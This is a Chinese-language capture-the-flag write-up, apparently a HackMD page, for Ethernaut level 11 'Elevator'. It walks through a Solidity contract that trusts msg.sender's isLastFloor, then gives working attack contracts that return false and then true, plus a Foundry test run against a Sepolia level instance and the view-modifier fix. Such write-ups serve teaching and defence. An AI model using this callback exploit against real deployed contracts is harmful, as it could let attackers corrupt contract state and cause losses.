# Ethernaut CTF Level 11 - Elevator ## 題目 這台電梯會讓你到不了頂樓對吧? 可能會有用的資訊 - 有的時候 Solidity 不是很遵守承諾 - 我們預期這個 Elevator(電梯) 合約會被用在一個 Building(大樓) 合約裡 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building { function isLastFloor(uint) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo(uint _floor) public { Building building = Building(msg.sender); if (! building.isLastFloor(_floor)) { floor = _floor; top = building.isLastFloor(floor); } } } ``` <br> ## 分析 首先,目標是讓top的值= `true` - 在interface宣告的時候,使用了external - Building interface可以更改Elevator Contract內部的值,如top 同時,這個合約使用了外部調用 `Building` 在14行的地方使用了`Building building = Building(msg.sender);` - 代表身為攻擊者,我可以任意的"實作" `isLastFloor` function <br> 既然目標是讓top=`true` 我們的`isLastFloor` function可以設計如下來達成 - 第一次被呼叫,回傳`false`來pass合約中的if條件 - 第二次被呼叫,回傳`true`以更改top的值 <br> ## 攻擊 如上面思路寫好合約即可 - 第一次被呼叫,回傳`false`來pass合約中的if條件 - 第二次被呼叫,回傳`true`以更改top的值 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IElevator { function goTo(uint _floor) external; } contract Attack { address payable orgContract; constructor(address payable _levelInstance) payable { orgContract = _levelInstance; } uint256 public balance; uint public count = 0; function isLastFloor(uint floor) public returns (bool){ if (count == 0){ count += 1; return false; } else{ return true; } } function attack() public payable { IElevator(orgContract).goTo(1); } } ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/11-Elevator/Elevator.sol"; contract ContractTest is Test { AttackElevator attackContract; Elevator level11 = Elevator(payable(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6), "Ethernaut11" ); attackContract = new AttackElevator(); } function testEthernaut11() public { attackContract.goTo(1); assert(level11.top() == true); } receive() external payable {} } // The attack contract abuse an issue from the source code // Building building = Building(msg.sender); // This allows the attacker creates a contract and customized the isLastFloor() function contract AttackElevator { Elevator level11 = Elevator(payable(0x1815288bBA981c5bC13bd85e5D3F16437Bf8eFE6)); uint256 counter = 0; function goTo(uint256 _floor) public { level11.goTo(_floor); } function isLastFloor(uint256 _floor) public returns (bool) { if (counter == 0) { counter += 1; return false; } else { counter = 0; return true; } } } ``` <br> ## 補充 From Ethernaut 為了防止合約的狀態被修改,你可以在函示的介面(interface)加上 view 修飾子。pure modifier也可以防止韓式修改合約的狀態被篡改。 閱讀 Solidity's documentation 並瞭解相關的注意事項。 這一關的另一個解題方案是實作一個 view 函式,這個函式根據不同的輸入資料回傳不同的結果,但是不更改合約狀態,比如說 gasleft()。
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up